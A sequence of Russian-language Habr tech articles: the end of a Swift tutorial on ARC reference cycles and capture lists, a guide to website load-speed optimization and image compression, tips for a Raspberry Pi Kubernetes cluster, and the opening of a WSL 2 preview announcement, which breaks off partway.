let subscription = CarrierSubscription(
name: "TelBel",
countryCode: "0032",
number: "31415926",
user: user)
iPhone.provision(carrierSubscription: subscription)
```
Мы создаем подписку на провайдера для пользователя и подключаем к ней телефон.
Запустите приложение. В консоли вы увидите:
User John was initialized
Phone iPhone Xs was initialized
CarrierSubscription TelBel is initialized
И опять цикл ссылок! user, iPhone и subscription не высвободились в конце.
Сможете найти проблему?
Разрываем цепь
--------------
Или ссылка из user на subscription или ссылка из subscription на user должна быть unowned, чтобы разорвать цикл. Вопрос в том, какой вариант выбрать. Давайте разберемся в структурах.
Пользователь владеет подпиской на провайдера, но наоборот — нет, подписка на провайдера не владеет пользователем.
Более того, нет никакого смысла в существовании CarrierSubscription без привязки к владеющему ей пользователю.
Таким образом, ссылка на пользователя должна быть unowned.
Измените объявление user в CarrierSubscription:
```
unowned let user: User
```
Теперь user unowned, что разрывает цикл ссылок и позволит высвободить все объекты.
Циклы ссылок в замыканиях
-------------------------
Циклы ссылок применительно к объектам возникают, когда у объектов есть свойства, ссылающиеся друг на друга. Как и объекты, замыкания — это ссылочный тип, и могут приводить к циклам ссылок. Замыкания «захватывают» (capture) объекты, которые используют.
Например, если вы присвоите замыкание свойству класса, и это замыкание использует свойства того же класса, то у нас появляется цикл ссылок. Другими словами, объект держит ссылку на замыкание через свойство. Замыкание содержит ссылку на объект через захваченное значение self.
Добавьте этот код к CarrierSubscription сразу после свойства user:
```
lazy var completePhoneNumber: () -> String = {
self.countryCode + " " + self.number
}
```
Это замыкание вычисляет и возвращает полный телефонный номер. Свойство объявлено как **lazy**, оно будет присвоено при первом использовании.
Это необходимо так как оно использует self.countryCode и self.number, которые будут недоступны до выполнения кода инициалайзера.
Добавьте в конец runScenario():
```
print(subscription.completePhoneNumber())
```
Вызов completePhoneNumber() приведет к исполнению замыкания.
Запустите приложение и вы увидите, что user и iPhone высвобождаются, а CarrierSubscription — нет, по причине цикла сильных ссылок между объектом и замыканием.
Списки захвата (Capture Lists)
------------------------------
В Swift предусмотрен простой и элегантный способ разорвать цикл сильных ссылок в замыканиях. Вы объявляете список захвата, в котором определяете отношения между замыканием и объектами, которое оно захватывает.
Для демонстрации списка захвата рассмотрим следующий код:
```
var x = 5
var y = 5
let someClosure = { [x] in
print("\(x), \(y)")
}
x = 6
y = 6
someClosure() // Prints 5, 6
print("\(x), \(y)") // Prints 6, 6
```
x есть в списке захвата замыкания, таким образом значение x копируется в месте определения замыкания. Оно захвачено по значению.
y нет в списке захвата, оно захвачено по ссылке. Это означает, что значение y будет таким, какое оно в момент вызова замыкания.
Списки замыкания помогают определить отношения weak или unowned взаимодействие по отношению к захвачиваемым внутри замыкания объектам. В нашем случае подходящий выбор — unowned, так как замыкание не может существовать, если экземпляр CarrierSubscription высвободится.
Захватите себя
--------------
Замените определение completePhoneNumber в CarrierSubscription::
```
lazy var completePhoneNumber: () -> String = { [unowned self] in
return self.countryCode + " " + self.number
}
```
Мы добавляем **[unowned self]** в список захвата замыкания. Это означает, что мы захватили **self** как **unowned** ссылку вместо сильной.
Запустите приложение и вы увидите, что теперь CarrierSubscription высвобождается.
На самом деле приведённый выше синтаксис — это короткая форма более длинного и полного, в котором появляется новая переменная:
```
var closure = { [unowned newID = self] in
// Use unowned newID here...
}
```
Тут newID — это unowned копия self. Вне замыкания self остается самим собой. В короткой форме, приведенной ранее, мы **создаём новую переменную self**, которая затеняет существующий self внутри замыкания.
Используйте Unowned осторожно
-----------------------------
В вашем коде отношения между self и completePhoneNumber обозначены как unowned.
Если вы уверены, что объект, используемый в замыкании, не высвободится, можете использовать unowned. Если он всё-таки высвободится, вы в беде!
Добавьте этот код в конце MainViewController.swift:
```
class WWDCGreeting {
let who: String
init(who: String) {
self.who = who
}
lazy var greetingMaker: () -> String = { [unowned self] in
return "Hello \(self.who)."
}
}
```
Теперь вот это в конце runScenario():
```
let greetingMaker: () -> String
do {
let mermaid = WWDCGreeting(who: "caffeinated mermaid")
greetingMaker = mermaid.greetingMaker
}
print(greetingMaker()) // ЛОВУШКА!
```
Запустите приложение и вы увидите аварийное завершение и что-такое в консоли:
User John was initialized
Phone iPhone XS was initialized
CarrierSubscription TelBel is initialized
0032 31415926
Fatal error: Attempted to read an unowned reference but object 0x600000f0de30 was already deallocated2019-02-24 12:29:40.744248-0600 Cycles[33489:5926466] Fatal error: Attempted to read an unowned reference but object 0x600000f0de30 was already deallocated
Исключение возникло по причине того, что замыкание ждёт, что self.who существует, но он был высвобожден, как только mermaid вышла из области действия в конце блока do.
Это пример может выглядеть высосанным из пальца, но такие вещи случаются. Например, когда мы используем замыкания, чтобы запустить что-то значительно позже, скажем, после того, как закончился асинхронный вызов в сети.
Разминируем ловушку
-------------------
Замените greetingMaker в классе WWDCGreeting таким образом:
```
lazy var greetingMaker: () -> String = { [weak self] in
return "Hello \(self?.who)."
}
```
Мы сделали две вещи: во-первых, мы заменили unowned на weak. Во-вторых, так как self стал weak, мы получаем доступ к свойству who через self?.who. Игнорируйте предупреждение Xcode, мы его скоро исправим.
Приложение больше не крашится, но, если его запустить, мы получим забавный результат: “Hello nil.”
Возможно, полученный результат вполне приемлем, но часто нам нужно сделать что-то, если объект был освобождён. Это можно сделать при помощи оператора guard.
Замените текст замыкания этим:
```
lazy var greetingMaker: () -> String = { [weak self] in
guard let self = self else {
return "No greeting available."
}
return "Hello \(self.who)."
}
```
Оператор guard присваивает self, взятое из weak self. Если self — nil, замыкание возвращает “No greeting available.” В противном случае, self становится сильной ссылкой, так что объект гарантированно доживёт до конца выполнения замыкания.
Ищем циклы ссылок в Xcode 10
----------------------------
Теперь, когда вы понимаете принципы работы ARC, что такое циклы ссылок и как их разрывать, пришло время посмотреть пример реального приложения.
Откройте проект Starter, находящийся в папке Contacts.
Запустите приложение.
Это простейший менеджер контактов. Попробуйте кликнуть на контакте, добавьте пару новых.
Назначение файлов:
ContactsTableViewController: показывает все контакты.
DetailViewController: показывает подробную информацию выбранного контакта.
NewContactViewController: позволяет добавить новый контакт.
ContactTableViewCell: ячейка таблицы, показывающая детали контакта.
Contact: модель контакта.
Number: модель номера телефона.
Однако, с этим проектом всё плохо: тут затаился цикл ссылок. Пользователи сначала не заметят проблем по причине небольшого размера утекающей памяти, по этой же причине сложно найти место утечки.
К счастью, в Xcode 10 есть встроенные средства, чтобы найти мельчайшую утечку памяти.
Запустите снова приложение. Удалите 3-4 контакта при помощи свайпа влево и кнопки delete. Похоже, что они исчезают совсем, да?
Где же течёт?
-------------
При запущенном приложении кликните на кнопке Debug Memory Graph:
Понаблюдайте за Runtime Issues в Debug navigator. Они отмечены пурпурными квадратами с белым восклицательным знаком внутри:
Выберите в навигаторе один из проблемных Contact объектов. Цикл чётко виден: объекты Contact и Number ссылаясь друг на друга, удерживают.
Похоже, вам пора заглянуть в код. Учитывайте, что контакт может существовать без номера, но не наоборот.
Как бы вы разрешили этот цикл? Ссылка из Contact на Number или из Number на Contact? weak или unowned? Попробуйте сначала сами!
**Если потребовалась помощь...**Есть 2 возможных решения: или сделать ссылку из Contact на Number weak, или из Number на Contact unowned.
Документация Apple рекомендует, чтобы родительский объект владел сильной ссылкой на «детский» — не наоборот. Это означает, что мы даем Contact сильную ссылку на Number, а Number — unowned ссылку на Contact:
```
class Number {
unowned var contact: Contact
// Other code...
}
class Contact {
var number: Number?
// Other code...
}
```
Бонус: циклы с ссылочными типами и типами-значениями.
-----------------------------------------------------
В Swift есть ссылочные типы (классы и замыкания) и типы-значения (структуры, перечисления). Тип-значение копируется при его передаче, а ссылочные типы делят одно значение при помощи ссылки.
Это значит, что в случае типов-значений циклов не может быть. Для возникновения цикла нам нужно как минимум 2 ссылочных типа.
Вернёмся к проекту Cycles project и добавим этот код в конце MainViewController.swift:
```
struct Node { // Error
var payload = 0
var next: Node?
}
```
Не выйдет! Структура — тип значение и не может иметь рекурсию на экземпляр самой себя. В противном случае, у такой структуры был бы бесконечный размер.
Изменим структуру на класс.
```
class Node {
var payload = 0
var next: Node?
}
```
Ссылка на себя вполне допустима для классов (ссылочный тип), так что проблем у компилятора не возникает.
Теперь добавим это в конце MainViewController.swift:
```
class Person {
var name: String
var friends: [Person] = []
init(name: String) {
self.name = name
print("New person instance: \(name)")
}
deinit {
print("Person instance \(name) is being deallocated")
}
}
```
А это — в конце runScenario():
```
do {
let ernie = Person(name: "Ernie")
let bert = Person(name: "Bert")
ernie.friends.append(bert) // Not deallocated
bert.friends.append(ernie) // Not deallocated
}
```
Запустите приложение. Обратите внимание: ни ernie, ни bert не высвобождены.
Ссылка и значение
-----------------
Это пример сочетания ссылочного типа и типа-значения, которое привело к циклу ссылок.
ernie и bert остаются невысвобожденными, держа друг друга в своих массивах друзей, хотя массивы сами по себе — типы-значения.
Попробуйте сделать архив friends как unowned, и Xcode покажет ошибку: unowned применим только к классам.
Чтобы пофиксить этот цикл, нам придётся создать объект-обёртку и использовать его для добавления экземпляров в массив.
Добавьте следующее определение перед классом Person:
```
class Unowned {
unowned var value: T
init (\_ value: T) {
self.value = value
}
}
```
Затем измените определение friends в классе Person:
```
var friends: [Unowned] = []
```
Наконец, замените содержимое блока do в runScenario():
```
do {
let ernie = Person(name: "Ernie")
let bert = Person(name: "Bert")
ernie.friends.append(Unowned(bert))
bert.friends.append(Unowned(ernie))
}
```
Запустите приложение, теперь ernie и bert корректно высвобождаются!
Массив friends больше не является коллекцией объектов Person. Теперь это **коллекция объектов класса Unowned**, которые служат обёрткой для экземпляров Person.
Чтобы получить объекты Person из Unowned, используйте свойство value:
```
let firstFriend = bert.friends.first?.value // get ernie
```
Заключение
----------
Теперь вы хорошо понимаете управление памятью в Swift и знаете, как работает ARC. Надеюсь, публикация была для вас полезной.
[Apple: Automatic Reference Counting](https://docs.swift.org/swift-book/LanguageGuide/AutomaticReferenceCounting.html) | https://habr.com/ru/post/451130/ | null | ru | null |
# Моментальная загрузка десктопных и мобильных сайтов: часть 1
[](http://habrahabr.ru/company/mobilizetoday/blog/269397)
Привет, Хабровчане! Сегодня поговорим об оптимизации скорости загрузки сайта. Это первое на что обращает внимание пользователь особенно при входе с мобильных устройств. Какие проблемы ведет за собой низкая скорость сайта:
— снижение конверсии ([исследование Walmart](http://www.getelastic.com/how-walmart-cas-responsive-redesign-boost-conversion-by-20));
— уменьшение охвата аудитории;
— увеличение показателя отказов;
— снижение доступности сайта;
— снижение скорости индексации поисковыми роботами.
В цикле статей рассмотрим этапы и способы оптимизации сайтов
------------------------------------------------------------
1. Анализ и оценка текущего состояния сайта.
2. Инструменты и подходы к уменьшению растровых изображений.
3. Уменьшение векторных изображений.
4. Минимизация количества запросов.
5. Оптимизация шрифтов.
6. Кэширование.
7. Структура веб-страниц.
8. Использование CDN.
9. Оптимизация кода CSS, HTML и JavaScript.
10. Улучшение удобства использования.
1. Анализ и оценка текущего состояния сайта
-------------------------------------------
Чаще всего оптимизацией занимаются уже по факту на рабочих проектах. Поэтому проведем анализ текущего состояния страниц для определения списка приоритетных доработок.
### Google Insights PageSpeed
[Page Speed Insights](https://developers.google.com/speed/pagespeed/insights/?hl=ru&url=http%3A%2F%2Fwww.mobilizetoday.ru) измеряет скорость загрузки веб-страниц. URL проверяется дважды – с помощью обычного и мобильного агента пользователя. Оценка PageSpeed может составлять от 0 до 100 баллов. Чем больше оценка – тем лучше. Если страница набрала более 85 баллов, значит она загружается быстро.
**Приемлемым результатом можем считать оценку: 70-80 баллов.**
Обратите внимание, что PageSpeed Insights постоянно развивается, поэтому по мере добавления новых правил или усовершенствования аналитических алгоритмов оценка иногда меняется.
PageSpeed Insights определяет, как можно улучшить следующие показатели:
* время загрузки объектной модели документа: общее время с момента запроса страницы до момента прорисовки.
* время полной загрузки страницы: общее время с момента запроса страницы до ее полного отображения в браузере.
Так как скорость подключения у разных пользователей различна, PageSpeed Insights рассматривает только независимые от сети аспекты работы страницы: конфигурация сервера, структура HTML, использование внешних ресурсов (изображений, JavaScript и CSS). Поэтому мы можем оптимизировать относительную скорость загрузки страницы, абсолютная во многом так же зависит от скорости подключения к сети. Кроме того сервис предлагает скачать оптимизированные изображения, ресурсы JavaScript и CSS для анализируемой страницы.
Каждая рекомендация имеет индикатор приоритета, соответствующий ее важности:
Для автоматизации процесса отладки можно воспользоваться [PageSpeed Tools](https://developers.google.com/speed/pagespeed/optimization).
### Pingdom
С помощью [сервиса Pingdom](http://tools.pingdom.com/fpt/#!/cBWFeU/http://www.mobilizetoday.ru) измеряем скорость доступа к фактической странице, производительность, общие результаты по странице, а также в отдельных вкладках можем оценить правильность настройки DNS серверов и сделать проверку пинга до хоста или ip адреса. Тест удобен для оценки показателей до и после оптимизации.
### Chrome DevTools
Вкладка Networks в DevTools позволяет оценить порядок загрузки, скорость, размер страницы и эмулировать различные виды соединения. При повторном анализе желательно отключать кэш для улучшения производительности первого пользовательского визита («холодная загрузка»).
Как базовые ориентир для адаптивного сайта возьмем следующие показатели:
* **Мобильная версия сайта**
Скорость загрузки: 2-3 сек
Размер страницы: 1 Мб или меньше (если возможно 500 Kб или меньше)
* **Десктопная версия**
Скорость загрузки: 2-3 сек
Размер страницы: 2 Мб или меньше
За это время может быть показано не все содержание, а верхняя его часть, видимая без прокрутки. Пока посетитель просматривает доступные ему материалы, будет загружаться остальной контент.
2. Инструменты и подходы к уменьшению растровых изображений
-----------------------------------------------------------
В большинстве случаев самым ресурсоемкий является процесс загрузки изображений с учетом количества устройств и разрешений. Оптимизация размера и качества изображений с помощью графических редакторов не дает максимального эффекта. Обычно интернет-графику можно сжать на 10-40%, без потери качества, включая уменьшение количества цветов и перекодирование файлов.
Но оптимально использовать специализированные программы и веб-сервисы, три из них разберем ниже. В качестве эксперимента были взяты одинаковые наборы изображений GIF, PNG и JPG, каждое из которых является образцом веб-графики.
### ImageOptim (Mac)
Простое в использовании десктопное приложение с открытым кодом [ImageOptim](https://imageoptim.com) под MacOS позволяет без потерь качества уменьшить размер на 10-30% GIF, JPEG и PNG. Это достигается удалением метаданных и ненужных цветовых профилей без перекодирования или уменьшения количества цветов.
Интерфейс ImageOptim также весьма удобен. Перетащите один файл, группу или папку и программа начнет сжимать их с заменой исходных файлов и отображением результатов.
### FileOptimizer (Win)
Кроме сжатия без потерь стандартных форматов возможности программы [FileOptimizer](http://nikkhokkho.sourceforge.net/static.php?page=FileOptimizer) достаточно обширны. Она также уменьшает исполняемые файлы, архивы, документы Microsoft Office, PDF и многое другое. Способ работы с программой аналогичен ImageOptim.
### PUNYpng (Web)
[PUNYpng](http://www.punypng.com) — веб-сервис, который применяет сжатие на 16-32% без потерь качества. Регистрация бесплатна, но действуют ограничения: можно загрузить только 15 изображений в пакетном режиме, каждое не более 150 кб. За $2 в месяц, можно проапгрейдить аккаунт до PRO, позволяющий улучшить сжатие и загружать больше файлов.
### Сводная таблица с результатами сжатия без потерь
| Инструмент | Платформа | PNG, % | JPG, % | GIF, % |
| --- | --- | --- | --- | --- |
| [**ImageOptim**](https://imageoptim.com) | Mac | 17,8 | 18,3 | **16,2** |
| [**FileOptimizer**](http://nikkhokkho.sourceforge.net/static.php?page=FileOptimizer) | Win | **42,2** | 17,7 | 15,9 |
| [**PUNYpng**](http://www.punypng.com) | Web | 32,1 | **27,5** | 16,1 |
[Полный обзор инструментов для сжатия изображений.](http://habrahabr.ru/post/168251/)
Не существует одного идеального формата, инструмента или алгоритма оптимизации, который бы подошел бы для всех изображений. Чтобы получить наилучший результат, вы должны выбрать формат и его настройки в зависимости от контента, а также визуальных и технических требований.
Полезные ссылки на другие инструменты:
* [ImageMagick](http://www.imagemagick.org/script/index.php) — утилита командной строки и редактор картинок с большим набором функций ([инструкция по настройке](http://habrahabr.ru/post/261625/)).
* [GraphicsMagick](http://www.graphicsmagick.org) — ответвление ImageMagick обеспечивающую лучшую производительность благодаря поддержке многопроцессорной обработки.
* [Gifsicle](http://www.lcdf.org/gifsicle/) — создает и оптимизирует GIF-изображения.
* [Jpegtran](http://jpegclub.org/jpegtran/) — оптимизирует JPEG-изображения.
* [Pngquant](https://pngquant.org/) — сжимает PNG с потерями.
### Поддержка Retina дисплеев
Делать бездумно поддержку Retina может оказаться ресурсозатратным, поэтому предварительно необходимо убедиться в необходимости ее поддержки. Для четкого отображения изображения 100x100 на экране, скажем iPhone, нужно подготовить изображение размером 200x200 и путем сжатия масштабов отобразить в размере 100x100.
```
```
Конечно, размер файла используемого изображения становится больше, поэтому нужно использовать сжатие изображений описанное выше. Для JPG установите уровень сжатия примерно 30-50. Если есть опасения, что будет теряться качество, то лучше экспериментировать с уровнем сжатия, чтобы найти оптимальный.
### Атрибут srcset (HTML5)
Атрибут дает возможность браузеру выбирать наиболее подходящий вариант изображения базируясь на таких данных как скорость приема информации, задержка, PPI, ориентация устройства и т.д. Идея в том, чтобы освободить разработчика от необходимости описывать условия при которых должен задействоваться тот или иной вариант изображения. Нужно указать лишь данные о изображении, размер и плотность, а браузер уже сам решит что лучше использовать в данной ситуации.
```
```
### Тег picture (HTML5)
Аналогичен атрибуту srcset, [поддерживается](http://caniuse.com/#search=picture) пока только в браузерах Chrome, Firefox и Opera.
```
```
### CSS спрайты
Использование спрайтов позволяет повысить производительность, уменьшить вес графики и организовать элементы интерфейса. Благодаря однократной загрузке сервером сразу всех элементов (пиктограмм или кнопок) в одном файле. А с помощью CSS можно отображать каждый элемент отдельно. Для автоматизации процесса создания спрайтов можно воспользоваться [фреймворком Compass](http://compass-style.org/) или [сборщиком Grunt](http://gruntjs.com/).
### Data:URI
Существует альтернативный вариант генерации CSS спрайтов, на [основе data:uri](http://habrahabr.ru/post/46801/). Он максимально минимизируется кол-во обращений к серверу и автоматизирует процесс сборки и перегенерации спрайтов.
```
```
Но у него есть ограничения: закодированные таким образом в Base64 данные примерно на 33% больше по размеру, чем их бинарный эквивалент.
Продолжение следует… | https://habr.com/ru/post/269397/ | null | ru | null |
# Советы по запуску кластера Kubernetes на Raspberry Pi
Этот небольшой пост — продолжение статьи о создании [кластера Kubernetes на Raspberry Pi](https://habr.com/ru/company/skillfactory/blog/553212/), где приводится описание полностью автоматизированной сборки с кодом. Хабравчан сложно удивить, но автор рассказывает о том, чего, как он надеется, вы не знали или о чём не задумывались до сегодняшнего дня. Пост приурочен к старту нового потока нашего курса по [DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=220421).
---
Контроль температуры
--------------------
Как и любое вычислительное устройство, одноплатный компьютер Raspberry Pi может перегреваться — чем больше нагрузка на него, тем активнее он вырабатывает тепло. В комплект поставки Raspberry Pi входит только сама плата и ничего больше.
Я поступил так: обложил плату радиаторами, и на первых порах меня это выручало. Радиаторы работали довольно сносно, но лишь до тех пор, пока я не решил опробовать на кластере чуть более тяжёлые приложения.
После небольшого исследования я нашёл [специализированный вентилятор Fan SHIM Pimoroni для Raspberry Pi](http://about:blank). Этот вентилятор идеально подходит для моей кластерной структуры и не требует установки дополнительных разделителей, увеличивающих высоту платы Pi. Для управления работой вентиляторов можно воспользоваться [кодом](https://github.com/lukaszraczylo/rpi-home-cluster-setup/blob/master/step2/roles/common/tasks/fan-support.yml) из моей предыдущей статьи, изменив его так, чтобы он соответствовал целям управления.
Вентиляторы работают отлично, особенно в связке с радиаторами. Я был так ими доволен, что вначале даже не обратил внимания на их светодиодную индикацию. Тепло идёт вверх, поэтому нижняя часть платы Pi в объединённой конструкции подогревает верхнюю.
После того как я разместил платы горизонтально (я сделал только это, ничего больше), температура упала на 10 градусов (!).
Хранение данных и долговечность
-------------------------------
Запуск Raspberry Pi с карты памяти по определению может вызвать проблемы. К счастью, почти за весь год, пока у меня на Raspberry Pi работал Kubernetes, я не испытывал никаких проблем; но возникали случаи, когда при определённых настройках конфигурации скорость записи на основной плате падала до 30 кбит/с, а на рабочих платах — до 5 кбит/с.
В качестве хранилища я использую NFS: у меня есть свободный прекрасно работающий мини-компьютер Intel NUC, и я его настроил как сетевое хранилище, поэтому могу ограничивать запись на карты памяти плат, а с помощью утилиты [log2ram](https://github.com/azlux/log2ram) можно обезопасить себя ещё больше.
Я работаю с картами памяти большого объёма, поэтому мне нужно, чтобы вся система могла стабильно работать в течение довольно длительного времени.
Замечание по картам памяти: я использую *SanDisk Extreme Pro 128GB, A2, UHS-I, U3, V30* по нескольким причинам.
Первая: чем больше свободного пространства, тем меньше вероятность выхода из строя всей карты, и вторая причина — [пожизненная гарантия](https://kb.sandisk.com/app/answers/detail/a_id/22478/~/product-warranty-table) на карты памяти Sandisk, что, в случае выхода из строя всего кластера, сэкономит мне два дополнительных Raspberry Pi. Чтобы избежать нежелательных задержек, если сбой всё-таки произойдёт, советую всегда иметь под рукой резервную карту памяти. Никогда не знаешь наперёд, когда она может понадобиться.
Работа с сетью
--------------
Узлы кластера, как правило, часто взаимодействуют друг с другом, поэтому надо каким-то образом предотвратить термическое дросселирование, не перегружая при этом остальную часть сети лишним трафиком. В этом случае я настоятельно рекомендую использовать дополнительный гигабитный коммутатор (управляемый или неуправляемый), особенно если Pi находится в постоянном контакте с сервером NFS.
Сетевой трафик незадействованного кластераПодключение кластера напрямую к домашнему Wi-Fi-маршрутизатору, особенно к типовому маршрутизатору от провайдера Интернета, — не самая хорошая идея, так как характеристики таких маршрутизаторов оставляют желать лучшего, ведь они оптимизированы под обычного пользователя.
Использование сетевых ресурсов активным кластеромЕсли вас интересуют сетевые аспекты, ознакомьтесь с моей предыдущей статьёй, в которой я подробно описал [настройку моей домашней сети](https://itnext.io/i-made-my-internet-fast-finally-cb97f55361d9).
Питание
-------
Энергопотребление Raspberry Pi по данным raspi.tvRaspberry Pi практически не потребляет мощности и имеет высококачественные разъёмы, поэтому я решил использовать блок питания с несколькими розетками. Мой выбор пал на RAVPower Official — блок питания на 60 Вт (ссылка на [Amazon](https://www.amazon.co.uk/gp/product/B07MJ9ZMDM/?currency=RUB)). Он отлично справляется с работой: при шести подключённых Raspberry Pi у меня не было ни одного сбоя электропитания.
Устройство имеет один «вход». Оно не только миниатюрное, но и очень удобное: подключаться к ИБП стало намного проще, чем через стандартный удлинитель с несколькими розетками. Ещё один совет: подбирайте кабели питания как можно более высокого качества и как можно более короткие, это позволит избежать сбоев. Кроме того, рекомендую отключить Wi-Fi на Raspberry Pi, так как эта функция пусть немного, но потребляет энергию.
Разгон процессора Pi
--------------------
> Разгон процессора Raspberry Pi может повлечь за собой снятие гарантии!
>
>
После обязательного предупреждения хочу затронуть тему регулировки параметров Pi. Да, разогнать процессор Pi даже проще, чем можно было подумать. Сделать это можно, просто изменив значения параметров файла /boot/userconfig.txt, используемого rPI (и включённого в /boot/config.txt) в процессе загрузки.
```
#uncomment to overclock the arm. 700 MHz is the default.
over_voltage=2
arm_freq=1750
```
С подробностями о разгоне процессоров можно ознакомиться в [этой статье](https://magpi.raspberrypi.org/articles/how-to-overclock-raspberry-pi-4), а также в [официальной инструкции](https://www.raspberrypi.org/documentation/configuration/config-txt/overclocking.md), хотя ваш PI, скорее всего, будет благодарен и за то, что вначале вы установите на него хотя бы несколько радиаторов и вентиляторов.
А с тем как прокачаться в [DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=220421) или в [алгоритмах](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=220421) — можно ознакомиться на нашем сайте, где также можно скачать программы курсов, чтобы составить представление о том, что вам предстоит изучить.
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=220421), как прокачаться и в других специальностях или освоить их с нуля:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=220421)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=220421)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=220421)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=220421)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=220421)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=220421)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=220421)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=220421)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=220421)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=220421)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=220421)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=220421)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=220421)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=220421)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=220421)
* [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=220421)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=220421)
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=220421)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=220421)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=220421)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=220421) | https://habr.com/ru/post/553226/ | null | ru | null |
# WSL 2 теперь доступен для Windows Insiders
Мы рады рассказать, что теперь вы можете попробовать Windows Subsystem for Linux 2 установив Windows build 18917 в Insider Fast ring! В этой статье мы расскажем о том, как начать работу, о новых wsl.exe командах, а также поделимся важными заметками. Полная документация о WSL 2 доступна на [странице](https://docs.microsoft.com/ru-ru/windows/wsl/wsl2-index) в нашей документации.
Начало работы с WSL 2
---------------------
Мы хотели сделать WSL 2 максимально похожим на WSL 1, и мы очень ждем ваших отзывов о том, что можно было бы улучшить. [Документация](https://docs.microsoft.com/ru-ru/windows/wsl/wsl2-install) по установке объяснит как начать работу с WSL 2.
При начале работы с WSL 2 вы заметите несколько UX-изменений. Ниже подробнее о двух наиболее важных изменениях в initial preview.
Помещайте ваши файлы Linux в корневую файловую систему Linux
------------------------------------------------------------
Убедитесь, что файлы, к которым вы будете часто обращаться с приложениями Linux, размещены внутри вашей корневой файловой системы Linux, чтобы получить преимущества в производительности файлов. Мы понимаем, что последние три года мы просили вас помещать файлы на диск C при использовании WSL 1, но это не относится к WSL 2. Для более быстрого доступа к файловой системе в WSL 2 эти файлы должны быть внутри корневой файловой системы Linux. Мы также предоставили приложениям Windows доступ к корневой файловой системе Linux (например, File Explorer! Попробуйте запустить: explorer.exe. в домашнем каталоге вашего дистрибутива Linux и посмотрите, что произойдет), что значительно облегчит этот переход.
Доступ к сетевым приложениям Linux с динамическим IP-адресом в начальных сборках
--------------------------------------------------------------------------------
WSL 2 включает в себя большие изменения архитектуры с использованием технологии виртуализации, и мы все еще работаем над улучшением сетевой поддержки. Поскольку WSL 2 теперь работает на виртуальной машине, вам потребуется использовать IP-адрес этой виртуальной машины для доступа к сетевым приложениям Linux из Windows, и наоборот, вам потребуется IP-адрес хоста Windows для доступа к сетевым приложениям Windows из Linux. Сейчас мы стремимся включить в WSL 2 возможность доступа к сетевым приложениям с помощью `localhost`. Вы можете найти полную информацию о том, как это сделать, в нашей документации [здесь](https://docs.microsoft.com/ru-ru/windows/wsl/wsl2-ux-changes#accessing-network-applications).
Чтобы узнать больше об изменениях UX, см. нашу документацию: [Изменения в UX между WSL 1 и WSL 2](https://docs.microsoft.com/ru-ru/windows/wsl/wsl2-ux-changes).
Новые команды WSL
-----------------
Мы также добавили несколько новых команд, которые помогут вам контролировать и просматривать версии и дистрибутивы WSL.
* `wsl --set-version`
Используйте эту команду для преобразования дистрибутива в архитектуру WSL 2 или архитектуру WSL 1.
